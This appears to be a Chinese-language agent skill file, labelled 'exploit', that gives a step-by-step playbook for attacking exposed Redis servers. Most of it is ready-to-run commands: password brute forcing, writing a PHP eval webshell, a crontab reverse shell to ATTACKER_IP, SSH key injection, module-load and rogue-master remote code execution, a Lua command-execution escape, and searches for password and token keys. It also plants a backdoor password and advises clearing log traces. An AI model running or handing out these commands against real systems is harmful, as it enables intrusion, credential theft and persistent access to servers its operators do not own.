| name | redis-attack |
| description | Redis 未授权访问与利用。当发现目标开放 6379 端口、Redis 服务无认证或弱密码、需要从 Redis 获取敏感数据或实现远程命令执行时使用。覆盖未授权访问、数据窃取、crontab 写入 RCE、主从复制 RCE、模块加载 RCE、webshell 写入、SSH 公钥注入、Lua 脚本注入、Pub/Sub 窃听、持久化文件利用 |
| metadata | {"tags":"redis,6379,未授权,rce,主从复制,crontab,webshell,ssh-key,lua,module-load,redis-rogue-server","category":"exploit"} |
Redis 未授权访问与利用
Redis 默认无认证、监听 0.0.0.0,一旦暴露在网络上攻击面极大——从数据窃取到 RCE 仅需几条命令。
⛔ 深入参考(必读)
Phase 1: 服务发现与版本识别
1.1 Nmap 扫描
nmap -p 6379 --script redis-info TARGET
nmap -sV -p 6379 TARGET
1.2 手动连接测试
redis-cli -h TARGET -p 6379 PING
redis-cli -h TARGET -p 6379 INFO server
关键判断:
- 返回 PONG / 正常信息 → 无认证,直接进入 Phase 3
- 返回
-NOAUTH Authentication required → 需要认证,进入 Phase 2
- 返回
redis_version → 确定版本,决定可用攻击路径
Phase 2: 未授权/弱口令检测
2.1 常见弱口令
redis-cli -h TARGET -p 6379 -a redis INFO server
redis-cli -h TARGET -p 6379 -a password INFO server
redis-cli -h TARGET -p 6379 -a 123456 INFO server
redis-cli -h TARGET -p 6379 -a admin INFO server
redis-cli -h TARGET -p 6379 -a root INFO server
2.2 暴力破解
hydra -P passwords.txt redis://TARGET
nmap --script redis-brute -p 6379 TARGET
medusa -h TARGET -P passwords.txt -M redis
Phase 3: 攻击决策树
连接成功?
├─ 可执行 CONFIG SET → RCE 路径
│ ├─ 目标有 Web 服务 → webshell 写入 (Phase 4.1)
│ ├─ 目标有 cron → crontab 反弹 shell (Phase 4.2)
│ └─ 目标有 SSH → 写 authorized_keys (Phase 4.3)
├─ Redis >= 4.0 → 模块加载 RCE (Phase 4.4)
├─ Redis >= 4.0 → 主从复制 RCE / redis-rogue-server (Phase 4.5)
├─ 可执行 KEYS/GET → 数据窃取 (Phase 5)
│ ├─ 搜索 *password*, *token*, *session*
│ └─ HGETALL 遍历 Hash 数据
├─ 可执行 PSUBSCRIBE → Pub/Sub 窃听 (Phase 6)
└─ 可执行 EVAL → Lua 脚本注入 (Phase 6)
前置信息收集:
redis-cli -h TARGET -p 6379 CONFIG GET dir
redis-cli -h TARGET -p 6379 CONFIG GET dbfilename
redis-cli -h TARGET -p 6379 CONFIG GET "*"
redis-cli -h TARGET -p 6379 INFO server
Phase 4: 快速利用命令
4.1 Webshell 写入
redis-cli -h TARGET -p 6379
> CONFIG SET dir /var/www/html
> CONFIG SET dbfilename shell.php
> SET payload "<?php @eval($_POST['cmd']);?>"
> SAVE
验证: curl http://TARGET/shell.php
4.2 Crontab RCE
redis-cli -h TARGET -p 6379
> SET cron "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n\n"
> CONFIG SET dir /var/spool/cron/
> CONFIG SET dbfilename root
> SAVE
注意: Ubuntu/Debian 路径为 /var/spool/cron/crontabs/,CentOS/RHEL 为 /var/spool/cron/。
4.3 SSH 公钥写入
ssh-keygen -t rsa -f /tmp/redis_rsa
(echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/spaced_key.txt
cat /tmp/spaced_key.txt | redis-cli -h TARGET -p 6379 -x set ssh_key
redis-cli -h TARGET -p 6379 CONFIG SET dir /var/lib/redis/.ssh
redis-cli -h TARGET -p 6379 CONFIG SET dbfilename authorized_keys
redis-cli -h TARGET -p 6379 SAVE
ssh -i /tmp/redis_rsa redis@TARGET
4.4 模块加载 RCE (Redis >= 4.0)
redis-cli -h TARGET -p 6379 MODULE LOAD /path/to/module.so
redis-cli -h TARGET -p 6379 system.exec "id"
redis-cli -h TARGET -p 6379 system.rev ATTACKER_IP 9999
4.5 主从复制 RCE
python3 redis-rogue-server.py --rhost TARGET --rport 6379 --lhost ATTACKER_IP
redis-cli -h TARGET -p 6379 SLAVEOF ATTACKER_IP 6379
redis-cli -h TARGET -p 6379 MODULE LOAD /tmp/module.so
redis-cli -h TARGET -p 6379 system.exec "id"
redis-cli -h TARGET -p 6379 MODULE UNLOAD mymodule
redis-cli -h TARGET -p 6379 SLAVEOF NO ONE
→ 更多方法与完整 payload → 读 references/attack-techniques.md
Phase 5: 数据窃取
redis-cli -h TARGET -p 6379 KEYS "*"
redis-cli -h TARGET -p 6379 KEYS "*password*"
redis-cli -h TARGET -p 6379 KEYS "*secret*"
redis-cli -h TARGET -p 6379 KEYS "*token*"
redis-cli -h TARGET -p 6379 KEYS "*session*"
redis-cli -h TARGET -p 6379 GET keyname
redis-cli -h TARGET -p 6379 HGETALL keyname
redis-cli -h TARGET -p 6379 SCAN 0 MATCH "*password*" COUNT 100
→ 读 references/attack-techniques.md 获取完整数据窃取命令
Phase 6: 其他攻击向量
6.1 Pub/Sub 窃听
redis-cli -h TARGET -p 6379 PSUBSCRIBE "*"
6.2 Lua 脚本注入
redis-cli -h TARGET -p 6379 EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
6.3 配置篡改
redis-cli -h TARGET -p 6379 CONFIG GET requirepass
redis-cli -h TARGET -p 6379 CONFIG GET masterauth
redis-cli -h TARGET -p 6379 CONFIG SET requirepass "backdoor_pass"
6.4 持久化文件利用
redis-cli -h TARGET -p 6379 BGSAVE
redis-cli -h TARGET -p 6379 CONFIG GET dir
redis-cli -h TARGET -p 6379 CONFIG GET dbfilename
rdb --command json /path/to/dump.rdb
→ 读 references/attack-techniques.md 获取完整技术细节
工具速查
| 工具 | 用途 |
|---|
| redis-cli | Redis 官方客户端 |
| redis-rogue-server | 主从复制自动化 RCE |
| RedisModules-ExecuteCommand | 恶意 .so 模块生成 |
| rdbtools | RDB 持久化文件解析 |
| hydra / medusa | Redis 密码爆破 |
| nmap redis-info / redis-brute | Redis 信息收集与爆破脚本 |
注意事项
SAVE 操作会阻塞 Redis,可能导致服务中断;生产环境优先用 BGSAVE
CONFIG SET 操作被记录到 Redis 日志,注意痕迹清理
KEYS * 在大数据库上严重阻塞,生产环境用 SCAN 替代
- CONFIG SET 写文件会覆盖原有 RDB 内容,操作前备份
CONFIG GET dir 和 CONFIG GET dbfilename
- 主从复制 RCE 完成后务必执行
SLAVEOF NO ONE 和 MODULE UNLOAD 清理
- Crontab 写入仅在目标以 root 运行 Redis 时有效